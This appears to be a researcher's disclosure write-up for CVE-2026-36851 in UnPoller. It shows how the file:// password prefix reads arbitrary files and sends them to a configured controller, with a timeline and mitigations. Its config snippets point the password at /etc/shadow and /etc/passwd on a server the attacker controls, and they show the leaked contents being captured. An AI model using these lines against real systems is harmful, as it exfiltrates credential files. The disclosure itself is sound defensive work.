Share
## https://sploitus.com/exploit?id=C2325B45-AEA9-5B22-8D11-3034288CE8AF
# CVE-2026-36851

Path traversal in [UnPoller](https://github.com/unpoller/unpoller) v2.33.0 โ€” the `file://` password prefix reads arbitrary files and sends the contents to whatever UniFi controller URL is in your config.

**CVE record:** https://vulners.com/cve/CVE-2026-36851

---

## Background

I run UnPoller in my homelab (Docker on Proxmox) to pull UniFi stats into Grafana. I was doing some casual security research on open source repos and landed on UnPoller. Not much XSS surface, but the sample config had this:

```toml
pass = "file:///path/to/password.file"
```

That makes sense for Docker โ€” keep the real password out of the config file. I wanted to know if UnPoller only reads a dedicated secrets file, or if you can point it at anything on disk.

It's the latter. In `pkg/inputunifi/input.go`, anything starting with `file://` goes through `os.ReadFile()` with no path check. The file contents become the password UnPoller uses when it logs into the controller URL from the same config.

## Why I reported it

On its own, "read a file from config" doesn't sound scary if the same person owns the config. The problem is what happens next: UnPoller sends that data over the network in a JSON login POST to `/api/login`.

If someone can edit `up.conf` but can't read `/etc/shadow` directly, they can set:

```toml
url = "https://your-server:8443"
pass = "file:///etc/shadow"
```

UnPoller does the rest. It retries auth on a timer, so the file keeps getting sent.

## How I reproduced it

**Environment variable** โ€” didn't work in my setup. Docker Compose was using the mounted config file, not env vars.

**Config file** โ€” this worked. I pointed UnPoller at a fake HTTPS server on my LXC instead of my real UniFi controller:

```toml
[unifi.defaults]
  url = "https://x.x.x.x:8443"
  user = "admin"
  pass = "file:///etc/passwd"
```

First I built a capture server that looked for `Authorization: Basic ...` headers. UnPoller kept posting to `/api/login` with no auth header at all. Credentials are in the JSON body:

```json
{"username": "admin", "password": "..."}
```

I updated the listener to dump the POST body. Within a minute I had `/etc/passwd` showing up in the password field:

![/etc/passwd leaked in the login POST body](images/cve-capture-etc-passwd.png)

Same trick with `/proc/version`:

![/proc/version leaked in the login POST body](images/cve-capture-proc-version.png)

Example config: [`poc/up.conf.example`](poc/up.conf.example)

## Disclosure

| When | What |
|------|------|
| Feb 2026 | Found it in my lab |
| Mar 2026 | Told the maintainer on Discord, filed with MITRE |
| Jun 2026 | CVE-2026-36851 assigned |

The maintainer considers `file://` an intentional feature for Docker users. MITRE assigned a CVE anyway.

## If you run UnPoller

Lock down who can write `up.conf`. Don't point it at URLs you don't control. Prefer proper secrets management over arbitrary file reads in the password field.

## License

MIT โ€” see [LICENSE](LICENSE). PoC stuff here is for authorized testing and education only.

---

Hector Diaz ยท [LinkedIn](https://www.linkedin.com/in/hector-diaz-cyber/) ยท [hectordiaz.net](https://hectordiaz.net)